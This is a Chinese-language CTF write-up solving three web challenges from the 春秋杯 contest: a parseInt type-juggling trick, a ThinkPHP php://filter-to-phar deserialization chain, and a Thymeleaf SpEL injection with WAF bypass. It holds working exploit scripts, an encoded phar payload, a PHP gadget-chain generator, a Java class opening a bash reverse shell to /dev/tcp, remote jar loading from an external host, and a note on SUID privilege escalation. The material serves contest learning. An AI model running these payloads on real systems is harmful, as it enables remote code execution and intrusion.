美文网首页
春秋杯-WEB

春秋杯-WEB

作者: byc_404 | 来源:发表于2021-05-30 00:58 被阅读0次

    周末看pwn2win的间隙做了下春秋杯的web。从结果上看题目质量还可以,也拿了2个三血。本来以为可以ak web的,但是因为最后一题远程环境太卡了,所以没在比赛时间内做出来。因此这里总结性地介绍下解三个web的方法思路。

    ctfaker

    typescript源码给出来了。仔细看会发现其实可控点只有/levelup一处,所以快速定位到factor上

    factor由可控值经parseInt处理。而parseInt 有传字符串或科学计数法被截断的特性。那么我们就可以让属性变得足够大。一次打败所有怪兽

    parseInt('99999999999999e-40') == 99999999999999

    # coding: utf-8
    # -**- author: byc_404 -**-
    url = 'xxx'
    r = requests.post(url + 'levelup', json = {
        'f':'99999999999999e-40'
    })
    r = requests.get(url+'fight')
    r = requests.get(url+'monster')
    print(r.text)
    

    easyfilter

    我们可以看到关键代码


    其实熟悉的就应该知道,这是laravel8 debug mode下漏洞代码的简化版。即进行一组可控的file_get_contents + file_put_contents
    laravel8 的洞如果没有跟过的话,还是建议看一下。很好的运用了php各种filter的性质。

    回到本题。我们可以同样采用这个思路,先通过报错手段创建log文件。

    看一下log格式。


    虽然跟laravel不太一样,但还是能用类似手段处理的。这里我简单提一下laravel的思路

    1.convert.base64-decode 过滤器可以直接把非base64字符处理掉
    2.convert.iconv.utf-16le.utf-8 可以把utf-16转utf-8。这一步可以将很多正常字符转成乱码

    那么似乎,我们可以将payload的base64编码进行utf-16编码写入log,然后先用convert.iconv.utf-16le.utf-8过滤器,使得log中只有base64-payload是正常base64字符集内的。然后用convert.base64-decode处理,就只剩下payload了。

    但是,由于我们的目的是写入phar.里面含有%00.所以我们还需要找到写入%00的方法。方案就是使用php filter的内置过滤器convert.quoted-printable-decode.它的encode就是编码成={字符ascii码},所以我们可以将空字节按=00写入。

    第一步清log的话用ambionics的方法就行。第二步我在尝试直接照搬失败后,想到了不如直接写入payload。由于这里file参数是get传的,报错写到log里时参数被url编码了,整个log里也会有一个我们原始的payload + 一个url编码后的payload。不过由于thinkphp这里的log把http请求的路径参数等都带上了。所以我就直接socket发包,把payload的位置控制在file后面,保证log里只有一处payload,且不会被编码.

    效果:


    最后一个小问题就是iconv.utf-16le.utf-8处理内容需要偶数长度。这个直接55开概率填充字符就好了(

    exp

    # coding: utf-8
    # -**- author: byc_404 -**-
    import requests
    import socket
    
    url = 'http://eci-2zeexuk65iew0fq0ohe6.cloudeci1.ichunqiu.com/index.php/hello/1234'
    
    host = 'eci-2zeexuk65iew0fq0ohe6.cloudeci1.ichunqiu.com'
    def clear():
        r = requests.get(url, params={
            'file': 'php://filter/read=consumed/resource=../runtime/log/202105/29.log'
        })
        print(r.text)
    
    
    def write(payload):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, 80))
        sock.send(f"""GET /index.php/hello/12345?file{payload} HTTP/1.1
    HOST: eci-2zeexuk65iew0fq0ohe6.cloudeci1.ichunqiu.com
    User-Agent: curl/7.64.1
    
    """.encode())
        print(sock.recv(2048))
    
    
    def trigger():
        r = requests.get(url, params={
            'file': 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/log/202105/29.log'
        })
        print(r.text)
    
    def exp():
        r = requests.get(url, params={
            'file': 'phar:///var/www/html/runtime/log/202105/29.log'
        })
        print(r.text)
    
    #php poc.php -> phar.phar
    #cat phar.phar  | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'
    payload = 'R=000=00l=00G=00O=00D=00l=00h=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00p=00x=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00A=007=00A=00Q=00A=00A=00T=00z=00o=00y=00N=00z=00o=00i=00d=00G=00h=00p=00b=00m=00t=00c=00c=00H=00J=00v=00Y=002=00V=00z=00c=001=00x=00w=00a=00X=00B=00l=00c=001=00x=00X=00a=00W=005=00k=00b=003=00d=00z=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00M=000=00O=00i=00I=00A=00d=00G=00h=00p=00b=00m=00t=00c=00c=00H=00J=00v=00Y=002=00V=00z=00c=001=00x=00w=00a=00X=00B=00l=00c=001=00x=00X=00a=00W=005=00k=00b=003=00d=00z=00A=00G=00Z=00p=00b=00G=00V=00z=00I=00j=00t=00h=00O=00j=00E=006=00e=002=00k=006=00M=00D=00t=00P=00O=00j=00E=003=00O=00i=00J=000=00a=00G=00l=00u=00a=001=00x=00t=00b=002=00R=00l=00b=00F=00x=00Q=00a=00X=00Z=00v=00d=00C=00I=006=00N=00D=00p=007=00c=00z=00o=00x=00N=00z=00o=00i=00A=00H=00R=00o=00a=00W=005=00r=00X=00E=001=00v=00Z=00G=00V=00s=00A=00G=00R=00h=00d=00G=00E=00i=00O=002=00E=006=00M=00T=00p=007=00c=00z=00o=002=00O=00i=00I=000=00d=00X=00Q=00x=00N=00W=000=00i=00O=003=00M=006=00O=00T=00o=00i=00d=00G=00F=00j=00I=00C=009=00m=00b=00G=00F=00n=00I=00j=00t=009=00c=00z=00o=00y=00M=00T=00o=00i=00A=00H=00R=00o=00a=00W=005=00r=00X=00E=001=00v=00Z=00G=00V=00s=00A=00H=00d=00p=00d=00G=00h=00B=00d=00H=00R=00y=00I=00j=00t=00h=00O=00j=00E=006=00e=003=00M=006=00N=00j=00o=00i=00N=00H=00V=000=00M=00T=00V=00t=00I=00j=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00Y=00X=00B=00w=00Z=00W=005=00k=00I=00j=00t=00h=00O=00j=00E=006=00e=003=00M=006=00N=00j=00o=00i=00N=00H=00V=000=00M=00T=00V=00t=00I=00j=00t=00h=00O=00j=00A=006=00e=003=001=009=00c=00z=00o=004=00O=00i=00J=00y=00Z=00W=00x=00h=00d=00G=00l=00v=00b=00i=00I=007=00Y=00T=00o=00x=00O=00n=00t=00p=00O=00j=00A=007=00c=00z=00o=00x=00O=00i=00I=00x=00I=00j=00t=009=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00B=003=00y=00s=00W=00A=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00K=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00N=00i=007=00R=00e=00v=00K=00D=00K=002=00M=00E=008=00F=00h=00E=00e=00j=001=00T=00a=00S=00L=00Q=00p=00+=00L=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00'
    clear()
    write(payload)
    trigger()
    exp()
    

    生成tp5.1反序列化利用phar的poc.php

    <?php
    namespace think;
    abstract class Model{
        private $data = [];
        private $withAttr = [];
        protected $append = ['byc_404'=>[]];
    
        public function __construct($cmd){
            $this->relation = ["1"];
            $this->data = ['byc_404'=> $cmd];
            $this->withAttr = ['byc_404'=>'system'];
        }
    }
    
    namespace think\model;
    use think\Model;
    class Pivot extends Model{
    }
    
    
    namespace think\process\pipes;
    use think\model\Pivot;
    class Windows{
        private $files = [];
    
        public function __construct($cmd){
            $this->files = [new Pivot($cmd)];
        }
    
    }
    
    $windows = new Windows("tac /flag");
    echo base64_encode(serialize($windows))."\n";
    
    @unlink('phar.phar');
    $p = new \Phar('phar.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($windows);
    $p->addFromString('test.txt','test');
    $p->stopBuffering();
    ?>
    

    Do_You_Know_Me

    环境真的太卡了。。。而且基本过了10多分钟后每次请求就稳定超时。没有源码黑盒打导致至少拖沓了几小时。不然肯定比赛里能出。

    漏洞就是个thymeleaf 的ssti,或者说就是SpEL.因为是springboot的环境,所以还是很好想到thymeleaf的。关键还是怎么绕waf.

    这里测了下,估计waf有java.lang.*,forName,newInstance,new,toString,runtimexx 等等。但是URLclassloader还在。所以可以远程加载类

    这里我们可以利用SpEL的特性,关键字不区分大小写,正常创建对象。
    New java.net.URLClassLoader(New java.net.URL[]{New java.net.URL("http://xxxx/xxx.jar"})

    紧接着就遇到第二个问题。无法使用字符串。这里常规手段T(java.lang.Character)是不行了.于是我去翻了下thymeleaf的文档。发现有很多非常好用的内置variable
    https://www.thymeleaf.org/doc/tutorials/2.1/usingthymeleaf.html#appendix-a-expression-basic-objects
    当然,这些web context有一半也被ban掉了。但是看到下面的httpServletRequest的方法getParameter,应该能够读取http请求的参数。这样我们就能传入字符串了。

    然后遇到第三个问题。原本我打算远程加载恶意类,实例化然后直接命令执行。然而newInstance被ban了。。。但是毕竟我们现在可以做到加载类,那么反射调用任意方法来执行命令应该没有什么问题。看了下getDeclaredMethodinvoke都在,解决方法就水落石出了。

    创建恶意类。我们把命令执行代码写入其静态rce方法。

    import java.io.*;
    
    public class Evil {
        public static void rce() {
            try {
                String commands[] = {"bash", "-c", "bash -i >& /dev/tcp/xxx/9001 0>&1"};
                Runtime.getRuntime().exec(commands);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    

    编译生成Evil.jar

    javac Evil.java
    jar cvf Evil.jar Evil.class
    

    vps上监听,然后打一发

    New java.net.URLClassLoader(New java.net.URL[]{New java.net.URL("http://xxxx/xxx.jar"}).getDeclaredMethod("rce").invoke(null)

    # coding: utf-8
    # -**- author: byc_404 -**-
    import requests
    
    url = 'http://eci-2zecj5hgsz4r0xz16uc6.cloudeci1.ichunqiu.com:8888/'
    
    
    def poc():
        r = requests.post(url + 'search?0=Evil&1=http://120.27.246.202/Evil.jar&2=rce', data={
            'name': '[[${ New java.net.URLClassLoader(New java.net.URL[]{New java.net.URL(#httpServletRequest.getParameter(1))}).loadClass(#httpServletRequest.getParameter(0)).getDeclaredMethod(#httpServletRequest.getParameter(2)).invoke(null)  }]] '
        })
        print(r.text)
    
    
    poc()
    

    反弹shell成功。然后发现readflag需要root权限。看了下没有其他可控root服务。所以find / -user root -perm -4000找下suid,发现了python2.7是有suid位的。直接提权readflag即可

    Summary

    总的说题目质量还可以。但是环境很迷,某种角度上来说顺便帮我巩固了波java(

    相关文章

      网友评论

          本文标题:春秋杯-WEB

          本文链接:https://www.haomeiwen.com/subject/ykcpsltx.html